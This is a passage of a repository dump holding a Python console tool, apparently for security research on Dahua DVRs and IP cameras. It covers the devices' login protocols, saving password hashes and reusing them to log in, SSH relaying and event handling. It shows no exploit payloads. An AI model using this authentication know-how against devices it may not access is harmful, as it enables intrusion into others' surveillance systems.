rhost=self.rhost,\n                username=username,\n                password=password,\n                proto=self.proto,\n                query_args={\n                    \"realm\": dh_realm,\n                    \"random\": dh_random\n                })\n\n            if not dh_data:\n                return None\n\n            self.header = \\\n                p32(0xa0050000, endian='big') + p32(len(dh_data.get('hash'))) + \\\n                (p8(0x00) * 16) + p64(0x050200080000a1aa, endian='big')\n\n            # Don't expect any data here, just check for p2p failure\n            dh_data = self.p2p(dh_data.get('hash').encode('latin-1'))\n            if dh_data is None:\n                return None\n\n        if self.ErrorCode[:2] == b'\\x00\\x08':\n            login.success(color('Success', GREEN))\n        elif self.ErrorCode[:2] == b'\\x01\\x00':\n            login.failure('Authentication failed: {} tries left {}'.format(\n                u16(self.AuthCode[0:2], endian='big'),\n                '(BUG: SessionID = {})'.format(self.SessionID) if self.SessionID else '')\n            )\n            return False\n        elif self.ErrorCode[:2] == b'\\x01\\x01':\n            login.failure('Username invalid')\n            return False\n        elif self.ErrorCode[:2] == b'\\x01\\x04':\n            login.failure('Account locked: {}'.format(dh_data))\n            return False\n        elif self.ErrorCode[:2] == b'\\x01\\x05':\n            login.failure('Undefined code: 0x01 0x05')\n            return False\n        elif self.ErrorCode[:2] == b'\\x01\\x11':\n            login.failure('Device not initialised')\n            return False\n        elif self.ErrorCode[:2] == b'\\x01\\x13':\n            login.failure('Not implemented')\n            return False\n        elif self.ErrorCode[:2] == b'\\x03\\x03':\n            login.failure('User already logged in')\n            return False\n        else:\n            login.failure(color('Unknown ErrorCode: {}'.format(self.ErrorCode[:2]), RED))\n            return False\n\n        if self.args.save and not self.proto == '3des':\n            pwd_manager.save_host(\n                rhost=self.rhost,\n                rport=self.rport,\n                proto=self.proto,\n                username=username,\n                password=password,\n                dh_realm=dh_realm,\n                relay=self.args.relay,\n                events=self.events,\n                logon=logon\n            )\n            return False\n\n        if not self.args.dump:\n            \"\"\" Seems to be stable \"\"\"\n            keep_alive = 30\n            _thread.start_new_thread(self._p2p_keepalive, (keep_alive,))\n\n        self.header = self.proto_header()\n\n        return True\n\n    def proto_header(self):\n\n        if self.proto == 'dhip':\n            return p64(0x2000000044484950, endian='big') + '_SessionHexID__ID__LEN_'.encode('latin-1') + \\\n                   p32(0x0) + '_LEN_'.encode('latin-1') + p32(0x0)\n        else:\n            # DVRIP\n            return p32(0xf6000000, endian='big') + '_LEN__ID_'.encode('latin-1') + p32(0x0) + \\\n                   '_LEN_'.encode('latin-1') + p32(0x0) + '_SessionHexID_'.encode('latin-1') + p32(0x0)\n\n    def subscribe_notify(self, status=False):\n        \"\"\"Only used with http/https proto\"\"\"\n        if status:\n            if self.proto in ['http', 'https']:\n                self.recv_stream_status.wait(0.200)\n            return True\n\n        self.remote.open_stream(self.SessionID)\n\n        while True:\n            self.recv_stream_status.clear()\n            event_data = self.remote.recv_stream()\n            self._debug(\"RECV ({})\".format(len(event_data)), event_data)\n            if not event_data:\n                log.failure('[subscribe_notify] == 0')\n                # self.event.set()\n                return False\n            for NUM in range(0, len(event_data)):\n                self.client_notify(json.dumps(event_data[NUM]))\n"
  },
  {
    "path": "pwdmanager.py",
    "content": "from utils import *\nfrom dahua_logon_modes import dahua_logon, dahua_gen1_hash, dahua_gen2_md5_hash, dahua_onvif_sha1_hash\n\n\nclass PwdManager(object):\n    \"\"\" Dahua HASH / pwd Manager functions \"\"\"\n    def __init__(self):\n        super(PwdManager, self).__init__()\n\n    def dvrip(self, rhost=None, username=None, password=None, proto=None, query_args=None, login=None):\n\n        saved_host = None\n\n        if not password:\n            if proto == '3des':\n                login.failure(color('3DES: You need to use --auth <username>:<password>', RED))\n                return False\n\n            saved_host = self.get_host(rhost)\n            if not saved_host:\n                login.failure(color('You need to use --auth <username>:<password> [--save]', RED))\n                return False\n\n        if proto == '3des':\n            params = dahua_logon(\n                logon=proto, username=username, password=password)\n            return params\n\n        elif proto == 'dvrip':\n\n            if not query_args.get('random'):\n                login.failure(color('Realm [random]', RED))\n                return None\n\n            if not password:\n                saved_host = self.get_host(rhost, query_args.get('realm'))\n                if not saved_host:\n                    login.failure(color('You need to use --auth <username>:<password> [--save]', RED))\n                    return None\n                username = saved_host.get('username')\n\n            params = dahua_logon(\n                logon=proto, query_args=query_args, username=username, password=password, saved_host=saved_host)\n            return params\n        else:\n            login.failure(color('Invalid \"proto\"!', RED))\n            return None\n\n    def dhip(self, rhost=None, query_args=None, username=None, password=None, login=None, logon=None, force=False):\n\n        saved_host = None\n\n        if not password:\n            saved_host = self.get_host(rhost)\n            if not saved_host:\n                login.failure(color('You need to use --auth <username>:<password> [--save]', RED))\n                return False\n            username = saved_host.get('username')\n            password = None\n\n        if query_args.get('method') == 'global.login':\n\n            if logon == 'wsse':\n                if not force:\n                    log.warning(f'[{logon}] Can only be used once per boot!')\n                    log.warning(\"If you still want to try, run this script with --force\")\n                    return False\n\n            params = dahua_logon(init=True, username=username, logon=logon)\n            return params\n\n        elif query_args.get('error').get('code') in [268632079, 401]:  # DHIP REALM\n\n            if not password:\n                # We just checking RandSalt from REALM here\n                dh_data = self.get_host(rhost, query_args.get('params').get('realm'))\n                if not dh_data:\n                    login.failure(color('You need to use --auth <username>:<password> [--save]', RED))\n                    return False\n                \"\"\"\n                if not (encryption == 'Default' or encryption == 'OldDigest'):\n                    login.failure(\n                        color('Encryption: \"{}\", You need to use --auth <username>:<password>'.format(encryption), RED))\n                    return False\n                \"\"\"\n\n            params = dahua_logon(\n                logon=logon, query_args=query_args, username=username, password=password, saved_host=saved_host)\n            return params\n\n    @staticmethod\n    def read_hosts():\n\n        try:\n            with open('dhConsole.json') as fd:\n                return json.load(fd)\n        except IOError as e:\n            log.failure(color('[read_hosts] {}'.format(str(e)), RED))\n            return None\n\n    @staticmethod\n    def write_hosts(dh_data):\n\n        try:\n            with open('dhConsole.json', 'w') as fd:\n                json.dump(dh_data, fd)\n                os.chmod('dhConsole.json', stat.S_IRUSR | stat.S_IWUSR)\n                log.success(color('Host saved successfully', GREEN))\n                return True\n        except Exception as e:\n            log.failure(color('[write_hosts] {}'.format(repr(e)), RED))\n            return None\n\n    def get_relay(self, rhost=None):\n\n        dh_data = self.find_host(rhost)\n        if not dh_data:\n            return False\n\n        return dh_data.get('relay')\n\n    def save_host(self, rhost, rport, proto, username, password, dh_realm, relay, events, logon):\n\n        # TODO: save some logon\n\n        host = None\n\n        dh_data = self.read_hosts()\n        if not dh_data:\n            dh_data = []\n\n        if not self.find_host(rhost):\n            log.info(f'Adding new host \"{rhost}\"')\n            dh_data.append({\n                \"host\": rhost,\n                \"port\": rport,\n                \"proto\": proto,\n                \"username\": username,\n                \"password\": {\n                    \"gen1\": dahua_gen1_hash(password),\n                    \"gen2\": dahua_gen2_md5_hash(\n                        dh_realm=dh_realm, username=username, password=password, return_hash=True),\n                    \"RandSalt\": dh_realm.split()[2],\n                    \"onvif\": dahua_onvif_sha1_hash(password=password) if logon == 'onvif:onvif' else None\n                },\n                \"events\": events,\n                \"relay\": relay,\n                \"logon\": logon\n            })\n        else:\n            log.info(f'Updating host \"{rhost}\"')\n            for host in range(0, len(dh_data)):\n                if rhost == dh_data[host].get('host'):\n                    break\n\n            dh_data[host].update({\n                \"host\": rhost,\n                \"port\": rport,\n                \"proto\": proto,\n                \"username\": dh_data[host].get('username') if not username else username,\n                \"password\": {\n                    \"gen1\": dh_data[host].get('password').get('gen1') if not password else dahua_gen1_hash(password),\n                    \"gen2\": dh_data[host].get('password').get('gen2') if not password else dahua_gen2_md5_hash(\n                        dh_realm=dh_realm, username=username, password=password, return_hash=True),\n                    \"RandSalt\": dh_realm.split()[2],\n                    \"onvif\": dahua_onvif_sha1_hash(password=password) if logon == 'onvif:onvif' else None\n                },\n                \"events\": events,\n                \"relay\": relay,\n                \"logon\": logon\n            })\n\n        if not self.write_hosts(dh_data):\n            return False\n\n        return True\n\n    def get_host(self, host=None, dh_realm=None):\n\n        dh_data = self.find_host(host)\n\n        if dh_data is None:\n            log.failure(f'Host \"{host}\" do not exist')\n            return None\n        elif not dh_data:\n            return False\n\n        if dh_realm:\n            rand_salt = dh_realm.split()[2]\n            if not dh_data.get('password').get('RandSalt') == rand_salt:\n                log.failure(color('RandSalt differs, current hash does not work anymore!', LRED))\n                return False\n\n        return dh_data\n\n    def find_host(self, host=None):\n\n        dh_data = self.read_hosts()\n        if not dh_data:\n            return False\n        if not host:\n            return dh_data\n\n        for hosts in range(0, len(dh_data)):\n            if host == dh_data[hosts].get('host'):\n                return dh_data[hosts]\n        return None\n"
  },
  {
    "path": "relay.py",
    "content": "import requests\nfrom requests import packages\nfrom requests.packages import urllib3\nfrom requests.packages.urllib3 import exceptions\nfrom pathlib import Path\n\nfrom utils import *\n\n\ndef custom_checksec(host, port, message):\n    \"\"\" Some embedded devices with 'psh' will hang after checksec() \"\"\"\n    cache_dir = ''.join(tempfile.gettempdir() + '/pwntools-ssh-cache')\n    Path(cache_dir).mkdir(parents=True, exist_ok=True)\n    fpath = ''.join(cache_dir + '/{}-{}'.format(host, port))\n    with open(fpath, 'w+') as f:\n        f.write(message)\n\n\ndef init_relay(relay=None, rhost=None, rport=None, discover=False):\n    \"\"\" Relay via SSH \"\"\"\n    dh_remote = None\n    # import paramiko\n    # paramiko ssh debugging\n    # logging.basicConfig(stream=sys.stdout, level=logging.DEBUG)\n    # logging.basicConfig(stream=sys.stdout)\n\n    try:\n        proto = relay[0:relay.index('://')]\n        tmp = relay[len(proto)+3:].split('@')\n        relay_username = tmp[0].split(':')[0]\n        relay_password = tmp[0].split(':')[1]\n        relay_rhost = tmp[1].split(':')[0]\n        relay_rport = tmp[1].split(':')[1]\n\n        \"\"\" Check if RPORT is valid \"\"\"\n        if not check_port(relay_rport):\n            log.failure(\"Invalid relay port - Choose between 1 and 65535\")\n            return False\n\n        \"\"\" Check if RHOST is valid IP or FQDN, get IP back \"\"\"\n        if not check_host(relay_rhost):\n            log.failure(\"Invalid relay host\")\n            return False\n\n    except (ValueError, IndexError):\n        log.failure('relay usage: <proto>://<user>:<password>@<host|fqdn>:<port>')\n        return False\n\n    if proto == 'ssh':\n        message = '(null)'\n        custom_checksec(host=relay_rhost, port=relay_rport, message=message)\n        try:\n            dh_relay = ssh(\n                user=relay_username,\n                password=relay_password,\n                host=relay_rhost,\n                port=int(relay_rport),\n                timeout=60,\n                cache=False\n            )\n            # return relay\n        except Exception as e:\n            print('[init_relay] ssh: {}'.format(repr(e)))\n            return False\n\n        if not discover:\n            try:\n                dh_remote = dh_relay.connect_remote(rhost, rport)\n            except AttributeError:\n                dh_relay.close()\n                return False\n            except Exception as e:\n                print('[init_relay] remote: ', repr(e))\n                dh_relay.close()\n                return False\n\n            \"\"\"\n            print(relay.transport.remote_version)\n            print(relay.transport.local_version)\n            print(relay.transport.remote_mac)\n            print(relay.transport.local_mac)\n            print(relay.transport.remote_cipher)\n            print(relay.transport.get_security_options())\n            \"\"\"\n        return {\n            \"dh_relay\": dh_relay,\n            \"dh_remote\": dh_remote\n            }\n\n    else:\n        log.failure('\"{}\" relay proto not implemented'.format(proto))\n        return False\n\n\nclass DahuaHttp(object):\n    def __del__(self):\n        log.info('DahuaHttp DELETE')\n\n    \"\"\" Dahua http \"\"\"\n    # TODO\n    # Get HTTP/HTTPS working with SSH relay\n    def __init__(self, rhost, rport, proto, timeout=60):\n        super(DahuaHttp, self).__init__()\n\n        self.rhost = rhost\n        self.rport = rport\n        self.proto = proto\n        self.timeout = timeout\n\n        self.remote = None\n        self.uri = None\n        self.stream = None\n\n        \"\"\" Most devices will use self-signed certificates, suppress any warnings \"\"\"\n        requests.packages.urllib3.disable_warnings(requests.packages.urllib3.exceptions.InsecureRequestWarning)\n\n        self.remote = requests.Session()\n\n        \"\"\"Used with _debug\"\"\"\n        self.headers = self.remote.headers\n        self.cookies = self.remote.cookies\n\n        self._init_uri()\n\n        import random as random_agent\n        random_agent.seed(1)\n        self.remote.headers.update({\n            'User-Agent': useragents.random(),\n            'X-Requested-With': 'XMLHttpRequest',\n            'Content-Type': 'application/x-www-form-urlencoded; charset=UTF-8',\n            'Accept': 'application/json, text/javascript, */*; q=0.01',\n            'Accept-Language': 'en-US,en;q=0.9',\n            'Host': '{}:{}'.format(self.rhost, self.rport),\n        })\n        # TODO\n        \"\"\"To use '--relay' option\"\"\"\n        \"\"\"\n        self.remote.proxies.update({\n            # 'http': 'http://127.0.0.1:8080',\n        })\n        \"\"\"\n\n    def send(self, url=None, query_args=None, login=False, timeout=5):\n\n        \"\"\"JSON API communication\"\"\"\n        if query_args:\n            if query_args.get('params') is not None and not len(query_args.get('params')):\n                query_args.update({'params': None})\n\n        \"\"\"This weird code will try automatically switch between http/https\n        and update Host\n        \"\"\"\n        try:\n            if url and not query_args:\n                return self.get(url, timeout)\n            else:\n                dh_data = self.post(self._get_url(login, url), query_args, timeout)\n        except requests.exceptions.ConnectionError:\n            self.proto = 'https' if self.proto == 'http' else 'https'\n            self._init_uri()\n            try:\n                if url and not query_args:\n                    return self.get(url, timeout)\n                else:\n                    dh_data = self.post(self._get_url(login, url), query_args, timeout)\n            except requests.exceptions.ConnectionError as e:\n                if login:\n                    return self._error(dh_error=e)\n                return None\n        except requests.exceptions.RequestException as e:\n            if login:\n                return self._error(dh_error=e)\n            return None\n        except KeyboardInterrupt:\n            return None\n\n        \"\"\"302 when requesting http on https enabled device\"\"\"\n        if dh_data.status_code == 302:\n            redirect = dh_data.headers.get('Location')\n            self.uri = redirect[:redirect.rfind('/')]\n            self._update_host()\n            if url and not query_args:\n                return self.get(url, timeout)\n            else:\n                dh_data = self.post(self._get_url(login, url), query_args, timeout)\n\n        \"\"\"Catch non dahua hosts\"\"\"\n        if not dh_data.status_code == 200:\n            return self._error(dh_error=dh_data.text, code=dh_data.status_code)\n\n        \"\"\"JSON API communication\"\"\"\n        dh_json = dh_data.json()\n\n        \"\"\"Set SessionID Cookie during login\"\"\"\n        if login and self.remote.cookies.get('DWebClientSessionID') is None:\n            self.remote.cookies.set('username', query_args.get('params').get('userName'))\n            self.remote.cookies.set('DWebClientSessionID', str(dh_json.get('session')))\n\n        return dh_data\n\n    @staticmethod\n    def _get_url(login, url):\n        if login:\n            return '/RPC2_Login'\n        elif url:\n            \"\"\"GET or other POST JSON API communication\"\"\"\n            return url\n        \"\"\"Default JSON API communication\"\"\"\n        return '/RPC2'\n\n    def _update_host(self):\n        if not self.remote.headers.get('Host') == self.uri[self.uri.rfind('://') + 3:]:\n            self.remote.headers.update({\n                'Host': self.uri[self.uri.rfind('://') + 3:],\n            })\n\n    def _init_uri(self):\n        self.uri = '{proto}://{rhost}:{rport}'.format(proto=self.proto, rhost=self.rhost, rport=str(self.rport))\n\n    @staticmethod\n    def _error(dh_error=None, code=500):\n        \"\"\"Keep 'login' happy and give some info back in case of failure\"\"\"\n        return json.dumps({'result': False, 'error': {'code': code, 'message': str(dh_error)}})\n\n    def options(self):\n        timeout = 10\n        req = requests.Request('OPTIONS', 'rtsp://{host}:{port}?proto=Onvif RTSP/1.1\\r\\nCSeq: 1\\r\\n\\r\\n'.format(\n            host='192.168.5.27', port=80))\n        print(req.prepare())\n        print(req.url)\n        dh_data = self.remote.send(req.url, verify=False, allow_redirects=False, timeout=timeout)\n        print(dh_data)\n\n    def post(self, url, query_args, timeout):\n        \"\"\"JSON API Communication\"\"\"\n        return self.remote.post(self.uri + url, json=query_args, verify=False, allow_redirects=False, timeout=timeout)\n\n    def get(self, url, timeout):\n        \"\"\"Non JSON Communication\"\"\"\n        return self.remote.get(self.uri + url, verify=False, allow_redirects=False, timeout=timeout)\n\n    def open_stream(self, session_id):\n        \"\"\"Open stream session for events and other 'client.Notify'\"\"\"\n        self.stream = self.remote.get(\n            '{}/SubscribeNotify.cgi?sessionId={}'.format(self.uri, session_id),\n            verify=False, allow_redirects=False, stream=True\n        )\n\n    def recv_stream(self):\n        \"\"\"Return events and other 'client.Notify'\"\"\"\n        return fix_json(self.stream.raw.readline().decode('utf-8'))\n\n    @staticmethod\n    def can_recv():\n        \"\"\"We do not expect unexpected data\n        the 'stream' above will handle that\"\"\"\n        return False\n\n    @staticmethod\n    def connected():\n        # TODO: Assume connected, should find a way to check\n        return True\n\n    def close(self):\n        # TODO: Not really sure if this way\n        self.remote.close()\n        return True\n"
  },
  {
    "path": "requirements.txt",
    "content": "pwntools>=4.3.1\nndjson>=0.3.1\npycryptodome>=3.9.7\ntzlocal>=2.1\npyOpenSSL>=19.1.0\nrequests>=2.20.0\npwn~=1.0\n"
  },
  {
    "path": "servers.py",
    "content": "import select\nimport queue\nimport _thread\nfrom utils import *\nfrom events import DahuaEvents\n\n\nclass Servers(DahuaEvents):\n    def __init__(self):\n        super(Servers, self).__init__()\n\n    #\n    # Will terminate and restart instances in case of some failure\n    #\n    def terminate_daemons(self):\n\n        time.sleep(1)\n        if not self.udp_server:\n            return False\n\n        status = log.progress(color('Terminate Daemons thread', YELLOW))\n        status.success(color('Started', GREEN))\n\n        daemon = False\n\n        while True:\n            session = None\n            instance = None\n            host = None\n            time.sleep(10)\n            for session in self.dhConsole:\n                instance = self.dhConsole.get(session).get('instance')\n                if instance.terminate:  # and not instance.remote.connected():\n                    host = self.dhConsole.get(session).get('host')\n                    daemon = True\n                    break\n\n            try:\n                if daemon:\n                    self.dhConsole.pop(session)\n                    if self.dh == instance:\n                        for session in self.dhConsole:\n                            self.dh = self.dhConsole.get(session).get('instance')\n                            break\n                    del instance\n                    daemon = False\n                    _thread.start_new_thread(self.restart_connection, (host,))\n                    if not len(self.dhConsole):\n                        log.failure('Terminate Daemons: No other active sessions')\n                        return False\n\n            except (Exception, PwnlibException) as e:\n                status.failure('{}'.format(repr(e)))\n                return False\n\n    #\n    # Will handle all incoming event traffic on UDP, accepting connections from TCP to relay event traffic\n    # - The receiving UDP socket is literally connected to sending TCP socket\n    # - Will also send to internal event handler, to catch some events\n    # - Since it's unsorted JSON from multiple instances, the JSON needs to be fixed with 'fix_json()'\n    #\n    # Good info\n    # https://steelkiwi.com/blog/working-tcp-sockets/\n    def event_in_out_server(self):\n\n        status = log.progress(color('UDP/TCP events server listener thread', YELLOW))\n\n        try:\n            self.tcp_server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)\n            self.tcp_server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)\n            self.tcp_server.setblocking(False)\n            self.tcp_server.bind(('127.0.0.1', EventOutServerPort))\n            self.tcp_server.listen(10)\n\n            self.udp_server = socket.socket(family=socket.AF_INET, type=socket.SOCK_DGRAM)\n            self.udp_server.bind(('127.0.0.1', EventInServerPort))\n\n        except OSError as e:\n            self.udp_server = False\n            self.tcp_server = False\n            status.failure(color(\"{}\".format(e), RED))\n            return False\n\n        inputs = [self.tcp_server, self.udp_server]\n        outputs = []\n        message_queues = {}\n\n        try:\n            status.success(color(\"Started\", GREEN))\n\n            while True:\n\n                readable, writable, exceptional = select.select(\n                    inputs, outputs, inputs)\n\n                for s in readable:\n                    if s is self.tcp_server:\n                        connection, client_address = s.accept()\n                        # log.info('Connection: {}'.format(client_address))\n                        connection.setblocking(0)\n                        inputs.append(connection)\n                        message_queues[connection] = queue.Queue()\n                    else:\n                        if s is not self.udp_server:\n                            dh_data = s.recv(1024)\n                            if s not in outputs:\n                                outputs.append(s)\n                            if not dh_data:\n                                if s in outputs:\n                                    outputs.remove(s)\n                                inputs.remove(s)\n                                s.close()\n                                del message_queues[s]\n\n                        else:\n                            dh_data, address = self.udp_server.recvfrom(8192)\n                            # log.info('Incoming data from: {}'.format(address))\n                            if len(dh_data) == 8192:\n                                log.warning('EventInOutServer: LEN == 8192')\n                                print(dh_data)\n                            if dh_data:\n                                self.internal_event_manager(dh_data.decode('latin-1'))\n                                for tmp in message_queues:\n                                    message_queues[tmp].put(dh_data)\n                                    if tmp not in outputs:\n                                        outputs.append(tmp)\n\n                for s in writable:\n                    try:\n                        next_msg = message_queues[s].get_nowait()\n                    except queue.Empty:\n                        outputs.remove(s)\n                    else:\n                        s.send(next_msg)\n\n                for s in exceptional:\n                    if s in inputs:\n                        inputs.remove(s)\n                    if s in outputs:\n                        outputs.remove(s)\n                    s.close()\n                    del message_queues[s]\n\n        except Exception as e:\n            status.failure('{}'.format(repr(e)))\n            return False\n"
  },
  {
    "path": "utils.py",
    "content": "import json\nfrom json.decoder import JSONDecodeError\nfrom pwn import *\n\"\"\"Just to keep out error warnings in PyCharm\"\"\"\nglobal p8, p16, p32, p64, u8, u16, u32, u64\n\n# Colours\nRED = '\\033[31m'\nGREEN = '\\033[32m'\nYELLOW = '\\033[33m'\nBLUE = '\\033[34m'\nWHITE = '\\033[37m'\n\nLRED = '\\033[91m'\nLGREEN = '\\033[92m'\nLYELLOW = '\\033[93m'\nLBLUE = '\\033[94m'\nLWHITE = '\\033[97m'\n\nEventInServerPort = 43210\t\t# UDP listener port, receiving events\nEventOutServerPort = 43211\t\t# TCP listener port, delivery of events\n\n\ndef color(dtext, dcolor):\n\treturn \"{}{}\\033[0m\".format(dcolor, dtext)\n\n\ndef fix_json(mess):\n\t\"\"\"\n\tJSON data we will receive from events is an mess, need to sort out that before loading JSON to a list\n\tinput: unsorted JSON\n\treturn: sorted JSON in a list\n\t\"\"\"\n\tdh_data = []\n\tstart = 0\n\tresult = ''\n\n\tfor check in range(0, len(mess)):\n\t\tif mess[check] == '{':\n\t\t\tresult += mess[check]\n\t\t\tstart += 1\n\t\telif start:\n\t\t\tresult += mess[check]\n\t\t\tif mess[check] == '}':\n\t\t\t\tstart -= 1\n\t\tif not start:\n\t\t\ttry:\n\t\t\t\tif len(result):\n\t\t\t\t\tdh_data.append(json.loads(result))\n\t\t\texcept JSONDecodeError:\n\t\t\t\tpass\n\t\t\tresult = ''\n\tif start:\n\t\tlog.warning('fix_json: not complete')\n\treturn dh_data\n\n\ndef help_msg(dh_data):\n\t\"\"\" print help function \"\"\"\n\treturn '\\033[92m[\\033[91m{}\\033[92m]\\033[0m\\n'.format(dh_data)\n\n\ndef help_all(msg, usage):\n\t\"\"\"\n\tExamples:\n\n\tusage = {\n\t\t\"key0\":\"(value 0)\",\n\t\t\"key1\":\"(value 1)\",\n\t\t\"key2\":\"(value 2)\",\n\t\t\"key3\":\"(value 3)\"\n\t}\n\n\tusage = {\n\t\t\"key0\":\"(value 0)\",\n\t\t\"key1\":{\n\t\t\t\"subkey0\":\"(value 0)\",\n\t\t\t\"subkey1\":\"(value 1)\"\n\t\t},\n\t\t\"key2\":\"(value 2)\",\n\t\t\"key3\":\"(value 3)\"\n\t}\n\n\tusage = {\n\t\t\"key0\":{\n\t\t\t\"subkey0\":\"(value 0)\",\n\t\t\t\"subkey1\":\"(value 1)\",\n\t\t\t\"subkey2\":\"(value 2)\"\n\t\t},\n\t\t\"key1\":{\n\t\t\t\"subkey0\":\"(value 0)\",\n\t\t\t\"subkey1\":\"(value 1)\"\n\t\t}\n\t}\n\n\tOne same line for all usage()\n\tlog.info('{}'.format(help_all(msg=msg,usage=usage)))\n\treturn True\n\t\"\"\"\n\n\tif msg.find('-h'):\n\t\tmsg = msg.strip('-h')\n\tcmd = msg.split()\n\n\ttry:\n\t\tdh_data = '{}'.format(help_msg('usage'))\n\n\t\tfor key in usage if not len(cmd) > 1 else usage.get(cmd[1]) if isinstance(usage.get(cmd[1]), dict) else {cmd[1]}:\n\n\t\t\tif isinstance(usage.get(key), dict):\n\t\t\t\tfor subkey in usage.get(key):\n\t\t\t\t\tdh_data += '{} {} {} {}\\n'.format(cmd[0], key, subkey, usage.get(key).get(subkey, '(1 Not defined)'))\n\n\t\t\telif isinstance(usage.get(key) if not len(cmd) > 1 else key, str):\n\t\t\t\tdh_data += '{} {} {}\\n'.format(\n\t\t\t\t\tcmd[0],\n\t\t\t\t\t'{} {}'.format(cmd[1], key) if len(cmd) > 1 else key,\n\t\t\t\t\tusage.get(\n\t\t\t\t\t\tkey, '(Not defined: {})'.format(key)\n\t\t\t\t\t\t) if len(cmd) == 1 else usage.get(\n\t\t\t\t\t\tcmd[1]).get(key, '(Not defined: {})'.format(key))\n\t\t\t\t\t)\n\t\t\telse:\n\t\t\t\tprint('[else]')\n\t\t\t\tprint(type(key), key)\n\n\t\treturn dh_data\n\texcept AttributeError as e:\n\t\tprint('[help_all]', repr(e))\n\n\ndef check_ip(ip_addr):\n\t\"\"\" Check if IP is valid \"\"\"\n\ttry:\n\t\tip = ip_addr.split('.')\n\t\tif len(ip) != 4:\n\t\t\treturn False\n\t\tfor tmp in ip:\n\t\t\tif not tmp.isdigit():\n\t\t\t\treturn False\n\t\t\ti = int(tmp)\n\t\t\tif i < 0 or i > 255:\n\t\t\t\treturn False\n\t\treturn True\n\texcept ValueError:\n\t\treturn False\n\n\ndef check_port(port):\n\t\"\"\" Check if PORT is valid \"\"\"\n\ttry:\n\t\tif not isinstance(port, int):\n\t\t\tport = int(port)\n\t\tif int(port) < 1 or int(port) > 65535:\n\t\t\treturn False\n\t\telse:\n\t\t\treturn True\n\texcept ValueError:\n\t\treturn False\n\n\ndef check_host(addr):\n\t\"\"\" Check if HOST is valid \"\"\"\n\ttry:\n\t\t\"\"\" Will generate exception if we try with FQDN or invalid IP \"\"\"\n\t\tsocket.inet_aton(addr)\n\t\treturn addr\n\texcept socket.error:\n\t\t\"\"\" Else check valid FQDN, and return the IP \"\"\"\n\t\ttry:\n\t\t\treturn socket.gethostbyname(addr)\n\t\texcept socket.error:\n\t\t\treturn False\n\n\ndef binary_ip(host, endian=\"big\"):\n\t\"\"\" Modified pwntools function from 'misc.py'\n\n\tbig: 127.0.0.1 => b'\\\\x7f\\\\x00\\\\x00\\\\x01'\n\n\tlittle: 127.0.0.1 => b'\\\\x01\\\\x00\\\\x00\\\\x7f'\n\t\"\"\"\n\ttry:\n\t\t\"\"\" Swap endianness if desired \"\"\"\n\t\treturn p32(u32(socket.inet_aton(socket.gethostbyname(host)), endian=\"big\" if endian == \"little\" else \"little\"))\n\texcept (Exception, KeyboardInterrupt, SystemExit) as e:\n\t\treturn repr(e)\n\n\ndef unbinary_ip(host, endian=\"big\"):\n\t\"\"\"\n\tbig: b'\\\\x7f\\\\x00\\\\x00\\\\x01' => 127.0.0.1\n\n\tlittle: b'\\\\x01\\\\x00\\\\x00\\\\x7f' => 127.0.0.1\n\t\"\"\"\n\ttry:\n\t\t# Swap endianness if desired\n\t\thost = p32(u32(host, endian=\"big\" if endian == \"little\" else \"little\"))\n\t\treturn '.'.join(str(x) for x in [u8(host[i:i+1]) for i in range(0, len(host), 1)])\n\texcept (Exception, KeyboardInterrupt, SystemExit) as e:\n\t\treturn repr(e)\n"
  }
]